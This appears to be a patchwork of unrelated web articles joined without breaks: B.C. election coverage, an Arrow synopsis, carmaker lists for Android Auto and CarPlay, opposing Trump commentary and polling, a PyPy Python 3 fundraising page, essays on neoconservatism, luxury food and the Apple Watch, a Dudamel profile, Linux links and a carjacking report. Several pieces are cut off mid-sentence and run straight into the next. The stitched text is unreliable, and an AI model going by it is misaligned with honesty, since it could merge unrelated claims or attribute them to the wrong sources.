Routley polled 40 per cent of the vote in 2013 compared with nearly 35 per cent for Liberal candidate Steve Housser.
Housser is running against NDP candidate Lori Iannidinardo and Sonia Furstenau of the B.C. Green Party.
The other close-vote riding could be Esquimalt-Metchosin, where the NDP’s Maurine Karagianis is not seeking re-election. Mitzi Dean is trying to hold the seat for the NDP against a challenge from Esquimalt Mayor Barb Desjardins of the Liberals and Green candidate Andy MacKinnon.
If advance voting statistics are any indication, there’s strong voter interest in several Island ridings this election. After six days of advance voting, 12,389 people had already cast ballots in Saanich North and the Islands — the highest total of any riding in the province, and about 27 per cent of that riding’s registered voters. The next highest totals were in Courtenay-Comox and Esquimalt-Metchosin where just over 11,000 people voted at advance polls in each riding.
In areas where there appear to be competitive races, people have made a point of voting early, said Michael Prince, a professor of social policy at the University of Victoria.
lkines@timescolonist.com
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More 2017 B.C. election coverage at timescolonist.com/bcelectionThe Best Episodes of Arrow
Last Updated: Jan 4, 2019
After a violent shipwreck, playboy billionaire Oliver Queen had disappeared and been presumed dead for five years before being discovered alive on a remote island in the Pacific. When he returns home to Starling City, his devoted mother Moira, the beloved sister Thea, and his best friend Tommy are going to welcome him home, but they have the feeling that Oliver has changed because of his terrible experience on the island. Meanwhile, Oliver hides the truth about the man he has become, he is desperate to repair the actions he took as the child he was. More particularly, he seeks reconciliation with his ex-girlfriend, Laurel Lance. During the day, Oliver plays the role of a rich, carefree and careless womanizer as he used to be - flanked by his devoted chauffeur / bodyguard, John Diggle - while carefully concealing the secret identity. However, Laurel's father, Detective Quentin Lance, is determined to stop the operation of the vigilante in his city. Meanwhile, Oliver's own mother, Moira Queen, knows much more about the deadly shipwreck than she has let on and is more cruel than she could ever imagine.At Wednesday's I/O conference, Google unveiled Android Auto, its answer to Apple's CarPlay system. In compatible vehicles—the first of which are due by the end of 2014—users will be able to use their Android phone's interface through the car's dashboard screen to navigate with Google Maps, play Spotify, send texts, and more.
There are sneaky elements to Google's plan for Android Auto, but don't worry about that just yet. For now, all you really need to know is which carmakers support which platform.
As it stands now, drivers who really want a Fiat 500 or Audi A3 should make sure they've got an Android. Ferrari, BMW, and Mercedes-Benz customers should go with Apple, though we assume they can afford a few smartphones.
These guys are Android Auto exclusive so far:
Acura
Bentley
Infiniti
Maserati
Renault
Seat
Skoda
Volkswagen
And these brands are currently working with only Apple's CarPlay:
BMW
Citroen
Ferrari
Jaguar-Land Rover
Mercedes-Benz
Peugeot
Toyota
A few brands have already signed up with both tech giants:
Abarth
Alfa Romeo
Audi
Chevrolet
Chrysler
Dodge
Fiat
Ford
Honda
Hyundai
Kia
Jeep
Mazda
Mitsubishi
Nissan
Opel
RAM
Subaru
Suzuki
Volvo
Since most car companies won't want a potential customer's smartphone preference to decide their choice of car, we expect this list to grow and we'll continue updating it going forward.
Update 6/27/2014: Audi has announced it will support CarPlay on its 2015 models in addition to Android Auto.
Update 7/1/2014: Apple has added Abarth, Alfa Romeo, Chrysler, Dodge, Fiat, Jeep, Mazda and Ram to its list of automakers that have promised support for CarPlay in future models.Everything is proceeding according to a natural and predictable path. Mr. Scaramucci is now in charge of White House messaging, the focus can now look toward the Capitol and go on offense; the “Big Ugly” is very clearly on the horizon.
Anxious Trump voters have been understandably frustrated by the lack of speed with which President Trump is able to force the MAGA agenda onto an unwilling DC political apparatus. However, if you step back and look at the scope of the challenge, the situation is entirely understandable.
Donald Trump was a 100% pure political outsider, a citizen politician. There was never any underlying organizational apparatus to support victory. There was Dan, Hope, Michael and Corey; later Paul then Kellyanne and Steve. Everything else needed to be constructed from scratch and even the party apparatus didn’t support candidate Trump.
On November 9th 2016 President-elect Trump did not wake up with a staff of 50 political career employees sitting at Trump desks with Rolodexes filled with a network of affiliate political allies, personnel and associates to call upon to create the Trump administration. Consequently President Trump needed to import the entire administrative personnel architecture to support the move to the White House.
President-elect Trump approached that challenge by hiring the Chairman of the RNC, Reince Priebus to fill out the hundreds of empty chairs. Priebus brought a staff mostly from the RNC and his own network of contacts. Many of those people were not self-described deplorables, or MAGA-minded; hence, the leaking etc.
The Heritage Foundation, and a few other late-coming allied political groups were brought on to provide some more legislative-minded bodies to help turn the Trump populist and pragmatic campaign platform into actionable policy and legislation. There simply wasn’t a decades old MAGA think tank as a resource. Again, sub-contracting needed.
Understanding the dynamic of building out the administrative architecture leads to an understanding of the visible frustration. However, this is exactly what citizen political operations look like absent of career political operatives familiar with all historic national political efforts.
The same outsider challenge applies to the thousands of political appointments etc. Many of those remain unfilled, and many of the unfilled will probably remain unfilled because they are not value added when looked upon from the outside of an administrative state. Even fully staffed, the Trump administration, when carried through all cabinet departments, will be thousands of people less than all recent presidencies.
However, over time the White House can hire and import people who are favorably MAGA-minded.
Six months into the administration the sub-contracted group is not as critical as initially the case on day #1.
The removal of the sub-contracted agents is a natural outcome of a process of filling out the administration with people who are more in line with the totality of the policy and ideology behind it.
This is why we previously shared: in the course of time, if you followed the process to its natural conclusion, there is bound to be a confrontation between the intransigent DC administrative and permanent political class -versus- President Trump and Team MAGA. I called this predictable confrontation – “The Big Ugly”.
No longer needing the RNC outlook, MAGA-minded Anthony Scaramucci is now essentially Divisional VP in charge of White House Communications. The next position to be filled will be “Chief-of-Staff”. In that position we might see a Jim DeMint or similar; someone who is on board with the outsider approach, but insider aptitude.
Chris Christie, Rudy Giuliani and other visible Trump-minded supporters may now resurface as the foundation to support the purpose of their endeavors is more solidly in place.
As this transitional process of retooling, sharpening the saw, takes place; Trump also doesn’t waste any time. President Trump prepares to do battle with the administrative state who have shown no compunction to advance MAGA policy and have ignored or rebuked his outstretched hand. Again, this confrontation is natural and entirely expected.
Thus we begin to see visible signs of the approach within tweets targeting politicians who stand in opposition to the agenda that President Trump ran on.
Many people might wonder what took so long. However, when we take time to understand the nature of a complete political outsider winning the office of the Presidency and all that encompasses, we begin to understand the best part of what we voted for is only possible when the architecture to support it is fully in place.
We are nearing that point.
Winter is coming for the intransigent professional political class.
AdvertisementsDonald Trump is already seen as the worst president in the modern history of the United States, a poll of Americans released Wednesday indicated. Asked to identify the worst president since World War II, 26 percent of respondents to the Morning Consult/Politico poll went with the man who entered the White House just four weeks ago.
There was more than a suggestion that party affiliation combined with the recency effect may have played a significant role in the responses. The president who came in second behind Trump as the most unpopular commander in chief was the man Trump replaced in the Oval Office, Barack Obama. A quarter of the 1,791 registered voters polled last week said the Democrat was the worst since Franklin Roosevelt.
Yet 20 percent also responded Obama had been the best president while 47 percent said he would eventually go down as an outstanding or above-average president. In the case of Trump, 38 percent answered that he would go down as a poor president.
And there is further evidence of Trump’s unique unpopularity.
A majority, 53 percent, disapprove of how Trump is governing the country, a Public Policy Polling survey released last week indicated. Indeed, 52 percent would be in favor of having Obama back in office.
Trump’s first weeks as president have been blighted by controversy. There have been widespread protests and court rulings against his ban on travelers from seven Muslim-majority nations while this week his national security adviser, Michael Flynn, resigned over discussions with Russian officials.
The same Public Policy Polling survey indicated 46 percent were in favor of impeaching Trump.
Former President Richard Nixon, who ranks third in the poll of worst modern presidents, garnering 13 percent of the vote, resigned rather than risk being kicked out of office by the Senate. Another Republican, George W. Bush, was fourth with 7 percent. Former President Bill Clinton, who was impeached by the House but acquitted by the Senate, ranked fifth.
In terms of the most popular of the modern era, John F. Kennedy was a clear leader. Eighty-four percent of those polled said they viewed him favorably.Call for donations - PyPy to support Python3!
UPDATE (December 2017):
PyPy3 supporting Python 3.5 has been released.
UPDATE (August 2016):
We are soon releasing a beta supporting Python 3.3. For the next full year, though, see PyPy gets funding from Mozilla for Python 3.5 support. Individual donations through here are still welcome, and go towards the same goal, which is upgrading PyPy to support Python 3.x (which really means 3.3/3.5 by now). Thanks to all our past contributors! Your money has been put to good use so far.
UPDATE (February 2014):
Thanks to our donors, we have raised 45% of the total so far. Work on this topic has been happening, and continues to happen, within the budget – even if not within the timeline described below. We have simply not found enough time to work on it as much as we wanted, and thus did not consume the money as quickly as predicted. The ratio “progress / $ used” so far corresponds roughly to what we expected. The document below is the original call for proposal, and we still accept donations for this topic.
The release of Python 3 has been a major undertaking for the Python community, both technically and socially. So far the PyPy interpreter implements only version 2 of the Python language and is increasingly used in production systems. It thus contributes to the general risk of a long lasting Python community split where a lot of people continue using Python 2 while others work with Python 3, making it harder for everyone.
The PyPy project is in a unique position in that it could support Python 3 without having to discontinue supporting Python 2, with the possibility of reusing a large part of the code base and fully reusing its unique translation and JIT-Compiler technologies. However, it requires a lot of work, and it will take a long time before we can complete a Python 3 port if we only wait for volunteer work. Thus, we are asking the community to help with funding the necessary work, to make it happen faster. Here is a more detailed view on how our proposed work benefits the Python community and the general public.
Below you'll find the planned stages of work and the associated fundraising targets we need to make things happen. Once we reach the necessary target for each stage, we will start contracting developers. Contracts and money are managed by the non-profit Software Freedom Conservancy of which the PyPy project is a member. The current elected representatives are Carl Friedrich Bolz, Holger Krekel and Jacob Hallen and they will - in close collaboration with Conservancy and the core developers - select the best developers for the Python 3 porting job among well known PyPy contributors.
If you want to see PyPy support Python 3 and Python 2, donate using buttons on the side.
Should we not receive enough donations to complete all stages by 1st March 2012 at the latest, we will try our best to make PyPy support Python 3 anyway. We however reserve the right to shift any unused funds to other PyPy activities when that date is reached. Of course, since the Conservancy is a 501(c)(3) charitable organization incorporated in NY, USA, all funds will, regardless of their use, be spent in a way that benefits the general public, the advancement of Open Source and Free Software, and in particular the PyPy community and the PyPy codebase.
Note For donations higher than $1,000, we can arrange for an invoice and a different payment method to avoid the high Paypal fees. Please contact pypy at sfconservancy.org if you want to know details on how to donate via other means.
Planned stages of work The goal of this project is to write an interpreter that interprets version 3 of the Python language. To be precise we would aim at having a Python 3.2 interpreter together in the same codebase as the python 2.7 one. At the end of the project, it will be possible to decide at translation time whether to build an interpreter which supports Python 2.7 or Python 3.2 and both versions will be nightly tested and available from nightly builds. The focus of this project is on compatibility, not performance. In particular, it might be possible that the resulting Python 3 interpreter will be slower than the Python 2 one. If needed, optimizing and making it more JIT friendly will be the scope of a separate project. Our existing JIT generation technology should apply out of the box; this disclaimer is only about the extra performance we could obtain by tweaking the Python 3 interpreter or writing specific interpreter-guided optimizations in the JIT. About estimates and costs For each step, we estimated the time that it would take to complete for an experienced developer who is already familiar with the PyPy codebase. From this number, the money is calculated considering an hourly rate of $60, and a 5% general donation which goes to the Software Freedom Conservancy itself, the non-profit association of which the PyPy project is a member and which manages all the issues related to donations, taxes and payments. The estimated time to complete the whole project is about 10.5 person-months. For comparison, the python-3000 mailing list was created in March 2006; Python 3.0 was released in December 2008 and Python 3.1, the first release genuinely suitable for production use (due to the abysmal I/O performance of 3.0) was released in June 2009. During these 3.5 years, a lot of people contributed to the development of Python 3, and while it is hard to turn these numbers into precise person-years, it sounds reasonable to think that in total it took several person-years. We have the advantage of targeting something that already exists without having to define the destination as they go along, and also the internal architecture of PyPy makes it easier to do the porting. Step 1: core language In this step, we implement all the changes to the core language, i.e. everything which is not in the extension modules. This includes, but it is not necessarily limited to the following items, which are split into two big areas: Sub-step 1.1 : string vs unicode and I/O: adapt the existing testing infrastructure to support running Python 3 code string vs bytes: the interpreter uses unicode strings everywhere. the print function open is now an alias for io.open, removal of the old file type. string formatting (for the part which is not already implemented in Python 2.7) the _io module (for the part which is not already implemented in Python 2.7) syntactic changes to make io.py importable (in particular: metaclass=... in class declarations) Estimate cost : $35,000
Sub-step 1.2 : other syntactic changes, builtin types and functions, exceptions: views and iterators instead of lists (e.g., dict.items(), map, range & co.) new rules for ordering comparisons removal of old-style classes int/long unification function annotations smaller syntax changes, such as keyword-only arguments, nonlocal, extended iterable unpacking, set literals, dict and set comprehension, etc. changes to exceptions: __traceback__ attribute, chained exceptions, del e at the end of the except block, etc. changes to builtins: super, input, next(), etc. improved with statement Estimate cost : $28,000
Note that the distinction between sub-steps 1.1 and 1.2 is blurry, and it might be possible that during the development we will decide to move items between the two sub-steps, as needed. For more information, look at the various “What's new” documents: http://docs.python.org/py3k/whatsnew/3.0.html
http://docs.python.org/py3k/whatsnew/3.1.html
http://docs.python.org/py3k/whatsnew/3.2.html Total estimate cost: $63,000 Step 2: extension modules In this step, we implement all the changes to the extension modules which are written in C in CPython. This includes, but it is not necessarily limited to: collections, gzip, bz2, decimal, itertools, re, functools, pickle, _elementtree, math, etc. Estimate cost: this is hard to do at this point, we will be able to give a more precise estimate as soon as Step 1 is completed. As a reference, it should be possible to complete it with $37,000 Step 3: cpyext The cpyext module allows to load CPython C extensions in PyPy. Since the C API changed a lot between Python 2.7 and Python 3.2, cpyext will not work out of the box in the Python 3 PyPy interpreter. In this step, we will adapt it to work with Python 3 as well. Note that, even for Python 2, cpyext is still in a beta state. In particular, not all extension modules compile and load correctly. As a consequence, the same will be true for Python 3 as well. As a general rule, we expect that if a Python 2 module works with cpyext, the corresponding Python 3 version will also work when this step is completed, although the details might vary depending on the exact C extension module. Estimate cost: $5,000It’s not as important as the battle to be the starting offensive left tackle. It’s not as glamourous as the fight to be the number one ‘Sam’ linebacker.
But for two players new to the CFL, it’s a battle for their football livelihood.
To the average CFL fan, Dakota Prukop and McLeod Bethel-Thompson are little more than names on a roster. Those who follow the NCAA or the NFL may have a bit more familiarity with the pair.
Both pivots have been fighting for their roster spots since training |
God!"
It is no secret that many neocons are in a deep funk over the state of American society. (For an especially glum assessment, dip into Bork's best-seller.) In the 1960s, many of them advocated federal programs to ameliorate such social ills as poverty, crime, racial discrimination, illegitimacy, and drug abuse. But as one social welfare program after another succumbed to its unintended consequences, they recognized the limits of governmental intervention. Having suffered a crisis of faith in the efficacy of social science, they now believe that only the restoration of religious belief among the masses can re-establish order in American society. As David Brooks recently wrote in the conservative journal The Weekly Standard, policy intellectuals used to sound like economists; now they sound like ministers. He's right. At conservative confabs today, the longing for yet one more Great Awakening of religious fervor is palpable.
Kristol has been quite candid about his belief that religion is essential for inculcating and sustaining morality in culture. He wrote in a 1991 essay, "If there is one indisputable fact about the human condition it is that no community can survive if it is persuaded--or even if it suspects--that its members are leading meaningless lives in a meaningless universe."
Another prominent neoconservative, Leon Kass, author of Toward a More Natural Science (1985), and a member of the University of Chicago's prestigious Committee on Social Thought, also believes that evolutionary theory poses a threat to social order: "[T]he creationists and their fundamentalist patrons...sense that orthodox evolutionary theory cannot support any notions we might have regarding human dignity or man's special place in the whole. And they see that Western moral teaching, so closely tied to Scripture, is also in peril if any major part of Scripture can be shown to be false."
At the heart of the neoconservative attack on Darwinism lies the political philosophy of Leo Strauss. Strauss was a German political philosopher who fled the Nazis in 1938 and began teaching at the University of Chicago in 1949. In an intellectual revolt against modernity, Strauss focused his work on interpreting such classics as Plato's Republic and Machiavelli's The Prince.
Kristol has acknowledged his intellectual debt to Strauss in a recent autobiographical essay. "What made him so controversial within the academic community was his disbelief in the Enlightenment dogma that `the truth will make men free.'" Kristol adds that "Strauss was an intellectual aristocrat who thought that the truth could make some [emphasis Kristol's] minds free, but he was convinced that there was an inherent conflict between philosophic truth and political order, and that the popularization and vulgarization of these truths might import unease, turmoil and the release of popular passions hitherto held in check by tradition and religion with utterly unpredictable, but mostly negative, consequences."
Kristol agrees with this view. "There are different kinds of truths for different kinds of people," he says in an interview. "There are truths appropriate for children; truths that are appropriate for students; truths that are appropriate for educated adults; and truths that are appropriate for highly educated adults, and the notion that there should be one set of truths available to everyone is a modern democratic fallacy. It doesn't work."The official blog for the Girls und Panzer anime franchise announced on Monday that the Girls und Panzer film has sold 1,207,473 tickets for a total of 2,021,490,984 yen (about US$18.47 million) as of Sunday, May 22. The film has been in theaters for 27 weeks, but it returned to the top 10 chart this past weekend by jumping from #28 to #9.
The Girls und Panzer film opened in Japan last November, and it ranked #38 in the top 39 highest grossing Japanese domestic films of 2015 (tied with Grasshopper ). The film began screening in 4DX starting on February 20, and that first run ended in April. The film then began ULTIRA screenings with higher video and sound quality in May, along with immersive 4DX screenings (with motion seats, scents, bubbles, and mist) and bonus filmstrip presents. Thus far 225 theaters have shown or resumed showing the film, including 77 in its opening weekend and 38 new ones this past weekend for a weekend total of 153.
The film will ship on DVD and Blu-ray Disc on May 27, and the release will come with a new OVA that will take place after the events of the movie, as well as an episode of the "Akiyama Yukari no Sensha Kōza" (Yukari Akiyama's Tank Lecture) shorts.
Source: animeanime.jpGustavo Dudamel's Mahler project
The Los Angeles Philharmonic's mammoth tribute to the composer is an unprecedented conducting feat for the conductor.
The L.A. Phil has been assigned the First, Fourth, Sixth, Ninth and the Tenth's Adagio. The Bolivars (Dudamel is their artistic director) fly in from Venezuela for the Second, Third, Fifth and Seventh. Both orchestras and 16 Southland choruses combine for the Eighth ("Symphony of a Thousand") at the Shrine Auditorium. Two days after finishing the L.A. concerts, Dudamel will repeat the whole cycle in Caracas over 12 days, again with the Bolivars and the L.A. Phil.
But that's just the start of a project so ambitious as to be a little crazy, to use one of Dudamel's favorite words, and the word he, himself, chose to describe the Los Angeles Philharmonic's Mahler Project during a conversation in his office at Disney Hall. Over slightly more than three weeks, Dudamel will conduct the nine symphonies Mahler completed plus the opening Adagio movement of the unfinished Tenth with the Los Angeles Philharmonic and the Simón Bolivar Orchestra. Each symphony — the short ones can last an hour — is an emotionally charged epic, simultaneously a window onto the world at large and an aperture into a complex and often conflicted composer's soul. Each symphony is a draining physical and spiritual experience for musicians and audiences alike. Each symphony is, like life, a little (and some more than a little) crazy.
It begins innocently enough, with sleigh bells. On Friday at Walt Disney Concert Hall, Gustavo Dudamel will conduct Mahler's most classical, least angst-ridden symphony, the Fourth, which opens with frolicsome jingling and ends in angelic folk song.
Mahler has become one of the most popular of all symphonists in recent years, and has been celebrated with symphony cycles in New York and Europe. Still, this much Mahler in such a concentrated time is a first for a single conductor. Dudamel may raise the stakes even higher by conducting all this Mahler from memory, likely another first. The most obvious question is: Why? Is Dudamel climbing a musical Everest because he can? Is he on a quest? Is he obsessed with Mahler? Is this a publicity stunt?
On the sunny October afternoon I met with Dudamel, Mahler was, in fact, far from his mind. Wearing a colorful T-shirt and jeans, he had just come from rehearsing Tchaikovsky's Fifth Symphony and a difficult modern work by the late Canadian composer Claude Vivier, which he was conducting for the first time. He had, he said, been studying "like crazy" a Bartók piano concerto he was to rehearse the next morning with Yefim Bronfman (our interview was interrupted with the news that Bronfman had a broken finger, and Dudamel needed to come up with a substitute orchestral work that afternoon). Also on his plate were the world premiere of Enrico Chapela's electric cello concerto and his first time with Strauss' "Also Sprach Zarathustra" on L.A. Phil programs the following two weeks.
But he made himself an espresso and jumped into Mahler's world with good-natured enthusiasm.
Mahler has played a major role in Dudamel's career. It was with the composer's Fifth Symphony that he won the 2004 Gustav Mahler Conducting Competition in Bamberg, Germany, catapulting him to fame. Subsequent performances of the Fifth with the Simón Bolivar Youth Orchestra (now the Simón Bolivar Orchestra) on tour in Europe and the U.S., as well as on recording, helped him gain star status.
"It is funny," Dudamel recalled, "because my first encounter with Mahler was a mistake. A friend gave me a CD of the 'Pathétique' Symphony as a Christmas present. I went home, and I put on the CD expecting to listen to Tchaikovsky. But it started ta ta ta taaa" — Dudamel sings the opening trumpet fanfare of Mahler's Fifth. Someone in the record store, it seems, inadvertently switched discs.
Dudamel, 10 at the time, listened to the symphony several times, not knowing what to make of it. "It was too long for me. I didn't understand it at first, but then I fell in love, in love, in love."
Around the same time he noticed a score of the trombone part of Mahler's First laying around the house. Though a violinist, Dudamel picked up his father's trombone and began to teach himself to play the instrument by ear.
That part remains the extent of Dudamel's trombone repertory, and he dismisses it as child's play. His first serious encounter with Mahler took place six years later when his mentor — José Antonio Abreu, the founder of the famed Venezuelan music education program El Sistema — told him it was time to learn the First Symphony for real.
"I had to sing every part for him," Dudamel recalls. "Here's the English horn together with the piccolo. This was the way he taught me to memorize, because to conduct Mahler you have to know everything, and that opened the door to Mahler's world for me."LWN.net One of the best Linux news and information sites with extensive daily and weekly coverage of Linux and the Open Source community. LXer: Linux News An international independent news and opinion source serving the free and open source software community. One of its best features is the lively, but respectful forums where all manner of things related to free and open source topics are discussed. The LXer community is the best! GROKLAW Pamela Jones' well-researched website on Linux and open-source legal issues; insightful and cut-to-the-chase analysis. Slashdot: News for Nerds, stuff that matters What can you say about Slashdot that hasn't already been said? If you're a geek or a wanna-be this is the site to end all sites. Get involved! The Victoria Linux Users Group Discuss List The Victoria Linux Users Group general discussion list where you can pick everyone's brains for Linux answers. Freshmeat.net - The source for Open Software Freshmeat maintains one of the largest archives of Linux software on the web. The first stop for Linux users hunting for the software they need for work or play. The Linux Brochure Project (LBP) LBP is GPLed data and software which is used to document key Linux information in a standard-size brochure; an excellent advocacy and publicity tool for LUGs and other Linux organizations. The Linux Documentation Project (LDP) The Linux Documentation Project develops free, high quality documentation for the GNU/Linux OS including the creation of multi-lingual FAQs, HOWTOs and Guides. User Friendly the Comic Strip Columbia Internet, the friendliest, hardest-working and most neurotic little Internet Service Provider in the world. Throw in a mischievous Artificial Intelligence and a naive but curious Dust Puppy, and you have the makings of USER FRIENDLY, the chronicle of a group of well-meaning but misguided Internet Workers. Links Pages Generated by bk2site.
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Related French gag on California foie gras ban L.A. Times
News came this week that Masa Takayama, the legendary sushi chef behind New York City‘s most expensive restaurant, Masa, will be opening Tetsu in Las Vegas. Eater National, the nerve center of restaurant junkies across the country, immediately asked whether it would be more expensive than the previous restaurant in that space, Shaboo. That restaurant was called “probably the U.S.’s most expensive” by Bloomberg News; Eater wondered whether Masa would go one step further. The question that never really comes up is whether it would be worth it. And the answer is: almost never, for almost all of us.
I often feel that it would be a moral act, as well as an ace marketing move, to make a certain class of goods unavailable, except by examination, and see how much people would pay just to see them. The marketing angle is simple enough to grasp: scarcity is what makes certain things valuable, even if they aren’t that good. One need only look as far as shark’s fin soup, blowfish or off-year truffles for evidence of that. Much of the demand for those dishes comes from the mindless urge toward conspicuous consumption, an act so common today, especially among the moneyed gourmands I call gastrocrats, that we sometimes forget that the term was one of social pathology when it was first coined. Every year brings us a new crop of ludicrously overpriced dishes, created specifically for a particular class of diner; the gastrocrat culture is practically its own ecosystem at this point, with its global nerve centers in Tokyo, the Basque region of Spain, London, Napa and a few other places.
(MORE: How the Roast Chicken Conquered Fine Dining)
What’s especially heinous about many of the things that gastrocrats eat is that they aren’t that good. Some are stunt foods like the $666 Douche Burger — semi-ironically offered by a New York restaurant recently — and some are great, but great in a way that only the keenest of aficionados can discern.
Let’s take sushi. I truly believe that less than 1% of foodies — including professional food writers — can tell great sushi from good sushi (this excludes me, by the way). If you give us a manager’s special unagi from the supermarket, the kind that has Heinz 57–style sauce on it, we will know it’s bad. And we might even be able to tell apart Masa’s sushi when placed next to that of a mid-level sushi joint in our hometown. But basically, if you give us a piece of nice-looking, very fresh sushi and say, “This was prepared by the master! He is officially recognized as a Living National Treasure in Japan and trained for 50 years before he was even allowed to touch the fish,” not one of us in a hundred will actually feel let down. More likely we will close our eyes and sigh and kvell and call it some version of orgasmic.
Sushi is a germane example, because there is such mystique around it. For example, the hand-forged knives used by the best sushi masters are essentially samurai blades, created with techniques dating back 700 years or more. Are they better knives than what Shun or Henckels makes? No doubt. Can I personally really appreciate the difference? Not really; any good knife will take an edge and keep it if you treat it carefully and only use it on occasion. The best sushi knives cost thousands of dollars — a fortune for me but pocket change for the 1%. They are too special, too rare; you shouldn’t be able to just buy them for show-off purposes. The fact is, I don’t deserve a knife like that.
(MORE: Talented, Young and Asian American)
Which brings us back to luxury foods. Putting a high price on them makes them irresistible to gastrocrats, but it cheapens what they are. There are only so many bottles of 1982 La Mission Haut-Brion around; there will never be any more of them. So they should be drunk by people who can really appreciate them (again, that doesn’t include me). In Dan Collins’ recent book about wine fraud, he tells of an L.A. wine purveyor who relabeled 1983 Haut-Brion bordeaux as the far more celebrated, and far more expensive, 1982. A scandalous ruse, to be sure — but the point is that he knew most of the people he was selling to wouldn’t be able to tell them apart. And that was with one of the most famous wines in the world.
Meanwhile, chefs in California have had to resort to giving away foie gras after it was banned, because it’s expected of luxury restaurants, but how many diners really felt a pang at missing out on it? Foie gras is no longer “the supreme fruit of gastronomy,” as it was to Belle Epoque gastronomes like Charles Gérard. It’s merely a signifier. The few of us who truly love it often find it grossly overused.
I think if more retailers and restaurateurs required a tasting exam from a customer, or even a written essay, on why he or she should be allowed to buy the luxury item, it would be great for society and for business. There would be outrage, yes, immediately followed by a huge uptick in demand; and the rest of us would be spared the sight of fat cats ordering rare and wonderful things with no more pleasure, and no more appreciation, than a toddler slurping on Yoo-Hoo.
MORE: Eat It or Else! The New Culture of Culinary CoercionNow that the dust has settled on the long-anticipated unveiling of the Apple Watch, a major obstacle to its success is coming into view: the iPhone.
The Apple Watch has been the subject of breathless anticipation for years because, as Tim Cook said at its introduction, it represents “the next chapter in Apple’s story.” Conceived three years ago, shortly after Steve Jobs’ passing, the Watch is the embodiment of multiple dramatic arcs and aspirations.
It is the first major new product developed under Tim Cook and Jony Ive outside of Jobs' shadow—and thus has huge personal and legacy implications for both men.
The Watch is also Apple’s attempt to catalyze and dominate the wearables category. Given the intense competition in the smartphone market and the widespread view that new killer products, platforms and ecosystems will emerge somewhere at the intersection of the Internet of Things and wearable computing, the Watch is central to Apple’s post-iPhone strategy.
It might seem that the iPhone should be the Apple Watch’s greatest asset. Apple is positioning the Watch as a jaw dropping, must-have peripheral to the iPhone. Millions of iPhone-toting Apple fans are sure to queue up upon the Watch’s 2015 launch to buy it. But, do not mistake early adopters for market validation. For billions of other potential customers, the Watch’s close linkage and tethering to the iPhone could be a fundamental weakness.
In the short term, Apple must convince existing customers that they need a Watch in addition to their iPhone. Apple, however, has yet to offer a convincing case for this.
Long rumored groundbreaking health apps built on Watch-mounted sensors have not materialized—disappointing many healthcare watchers (including me). That leaves Apple competing against more narrowly focused wearable devices like the Fitbit and Pebble—but at multiple times the price and fractions of the battery life.
Apple is also touting Apple Pay as a killer app that will attract consumers to the Watch. But, while Apple Pay is an intriguing service-oriented strategy for Apple, there is no need for consumers to buy an Apple Watch to use it. Apple Pay will work fine with just the iPhone.
For now, it seems that Apple has higher hopes for the Watch as a fashion accessory than as a category-defining killer app. But, even that highbrow aspiration has ample skeptics who question the Watch’s fashion chops and business potential.
In the long term, when and if compelling apps emerge for the Watch, Apple will have to convince Watch enthusiasts that they need an iPhone in addition to the Watch.
This might not seem like a limiting factor given that there are more than 300 million active iPhone users. But, imagine if the iPhone were just a peripheral to the Mac, thereby limiting its addressable market to Mac owners. Or, imagine if the iPhone had to be tethered to the iPod. Do not such scenarios, in retrospect, sound implausibly shortsighted?
Both the Mac and the iPod were great products with loyal followings at the iPhone’s introduction. Apple, however, did not limit the iPhone to its predecessors’ market niches. As shown in Figure 1, the result was a blockbuster that lifted Apple far beyond those earlier products. The iPhone has grown to represent more than half of Apple’s revenues and perhaps even more of its profits.
Now the iPhone has a loyal following but a small share of the smartphone market. Will Tim Cook limit the Apple Watch’s success to iPhone owners, or will Cook free it to dominate the potentially larger wearable devices space?
Freeing the Watch is a strategic imperative.
History tells us that market leading technology products like the iPhone inevitably fade. The companies that depend on them must innovate into the succeeding categories or fade as well. Kodak, Polaroid, IBM, DEC, Nokia, Motorola, Blackberry, Intel, Sony, Dell and Microsoft are among those fading or faded companies.
All of those other companies underutilized disruptive advances in information technology for (at best) incremental enhancements to their dominant products. By doing so, they missed out on new killer products, business models and industries that coalesced around the new platforms enabled by those technology advances.
Thus, Kodak wasted decades trying to deploy digital photography (which it invented) as an enhancer to its dominant film-driven businesses. Microsoft was slow to the web and the cloud and killed its early e-reader and tablet devices because of internecine struggles over how those new categories related to its Windows and Office businesses. The list goes on: IBM did not lead in minicomputers. DEC and every other leading minicomputer maker missed out on personal computers. Motorola and Nokia were killed by smartphones, and Blackberry is near death.
Limiting the Watch to a peripheral role in the iPhone-centric ecosystem would repeat the same mistake made by those earlier market leading technology companies.
That’s not to say there is not a lot of money to be made in the defend-the-cash-cow approach. Just look at the more than $650B in revenue and nearly $250B in earnings that Steve Ballmer delivered in his tenure as Microsoft CEO. Ballmer achieved those impressive numbers by defending and milking Microsoft’s dominant Office and Windows products. Ballmer, Microsoft and its investors missed out, however, on the market value created by Google, Apple, Facebook, Twitter and others who capitalized on search, big data, cloud computing, mobile devices and social media. Ballmer’s inability to grow beyond the core products that he inherited stagnated Microsoft’s market value for a decade.
Likewise, Tim Cook could nurse Apple’s iPhone-driven revenue stream for a long time. I doubt, however, that Tim Cook would be satisfied with a value-creation legacy comparable to Steve Ballmer's.
It is too early to dismiss the Apple Watch’s potential to transcend the iPhone.
We’ll get a measure of Apple’s foresight when it releases the software development kit (SDK) for the Watch. That will show how fundamentally tethered the Watch is to the iPhone and whether Apple has laid the groundwork for the Watch to be standalone at some point.
The real gut check for Tim Cook is further out in time, when technology and creativity enables wearable devices like the Watch to not only stand alone from the iPhone but also to replace it.
Will Tim Cook allow the Watch to cannibalize iPhone sales—as Apple previously allowed the iPhone to eat away at the iPod and risked the iPad doing the same to the Mac? Or, will Apple stagnate as competitors and new entrants out-innovate it? Will Apple fade away as the riches from new killer apps, devices, ecosystems and business models that coalesce around emerging wearables-centric platforms flow to others?
Please share your thoughts below.
--CTV Vancouver
A woman who was carjacked and beaten in Surrey, B.C. two years ago while she was pregnant is sharing the story of her terrifying ordeal.
The victim, who asked to be identified only as Sam, was five months along when a violent man strung out on drugs jumped into her truck two days before Christmas 2014.
"I had no idea what was going on. I thought I was being kidnapped," she told CTV News Friday outside a sentencing hearing for her attacker.
The man responsible, Edward Joseph Biwer, had tried to steal another woman's car before setting his sights on Sam's truck, which was parked outside a Shoppers Drug Mart. She had been waiting for her husband to finish up inside the store.
Biwer got inside and drove off with Sam still in the truck, and things only got worse from there.
"As soon as I told him I was pregnant, he started to violently attack me in my stomach and abdomen area," she said, fighting to hold back tears.
The carjacker smashed into half a dozen vehicles on the Fraser Highway. Eventually Sam fought back, attacking Biwer before the vehicle flipped onto its side.
